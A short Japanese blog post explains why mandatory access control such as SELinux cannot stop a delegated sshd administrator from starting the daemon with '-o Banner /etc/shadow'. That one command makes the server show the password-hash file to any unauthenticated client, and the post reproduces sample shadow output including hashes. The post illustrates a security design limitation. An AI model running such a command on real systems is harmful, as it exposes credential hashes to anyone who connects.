http://Kumaneko-Sakura.sblo.jp/article/22921019.html で「 SELinux を以ってしても防げない落とし穴」について言及しましたが、誰も気が付いてくれないようなので補足します。
セキュアOSを使えば、従来は1人で行うしかなかった管理者業務を複数人で分担して行うことができるようになります。つまり、 Alice さんには sshd の管理を、 Bob さんには httpd の管理を、 Carol さんには sendmail の管理をしてもらうことも可能なわけです。
もし、 Alice さんが意地悪だったら(それって Malice さん?)、 ssh サーバを起動するときに以下のようなコマンドラインを入力するかもしれません。
| [alice@server.example.com ~] # /usr/sbin/sshd -o 'Banner /etc/shadow' |
Malice さん、もとい、 Alice さんには「 sshd の管理」という役割が与えられているので、上記のコマンドラインは許可されます。すると、何が起こるでしょう?
|
[evil@gateway.example.com ~] $ ssh root@server.example.com root:$1$d8kgaeX7$PqJEIeNsGAGPw4WwiVy0C/:14217:0:99999:7::: bin:*:14189:0:99999:7::: daemon:*:14189:0:99999:7::: adm:*:14189:0:99999:7::: lp:*:14189:0:99999:7::: sync:*:14189:0:99999:7::: shutdown:*:14189:0:99999:7::: halt:*:14189:0:99999:7::: mail:*:14189:0:99999:7::: news:*:14189:0:99999:7::: uucp:*:14189:0:99999:7::: operator:*:14189:0:99999:7::: games:*:14189:0:99999:7::: gopher:*:14189:0:99999:7::: ftp:*:14189:0:99999:7::: nobody:*:14189:0:99999:7::: rpm:!!:14189:0:99999:7::: dbus:!!:14189:0:99999:7::: mailnull:!!:14189:0:99999:7::: smmsp:!!:14189:0:99999:7::: nscd:!!:14189:0:99999:7::: vcsa:!!:14189:0:99999:7::: rpc:!!:14189:0:99999:7::: sshd:!!:14189:0:99999:7::: rpcuser:!!:14189:0:99999:7::: nfsnobody:!!:14189:0:99999:7::: pcap:!!:14189:0:99999:7::: haldaemon:!!:14189:0:99999:7::: xfs:!!:14189:0:99999:7::: kumaneko:$1$Y1sTeizV$y59KJ5302WPGh9rw8kGU50:14217:0:99999:7::: root@server.example.com's password: |
認証されていないユーザに対して、パスワードのハッシュ値を公開してしまいました。せっかく root ユーザであっても「 cat /etc/shadow 」でパスワードのハッシュ値を読まれることが無いようにポリシーを設定していたとしても、誰でもパスワードのハッシュ値を読める状態を実現できてしまったわけです。これは「セキュリティ上問題あり」ですよね?
従来は1人で行うしかなかった管理者業務を複数人で分担して行うようにする以上、自分なら試さないであろう馬鹿げた指定が行われる可能性を考慮しなければなりません。強制アクセス制御は「資源へのアクセスの可否」を制御することはできますが、「アクセスが許可された資源がどのように利用されるか」については保証できません。「アクセスが許可された資源がどのように利用されるか」は「プログラムとユーザの正しさ」にも依存しています。ですから、「適切なラベルが割り当てられていても、適切なポリシーが定義されていても、それだけで十分とは限らない」ことを忘れないでください。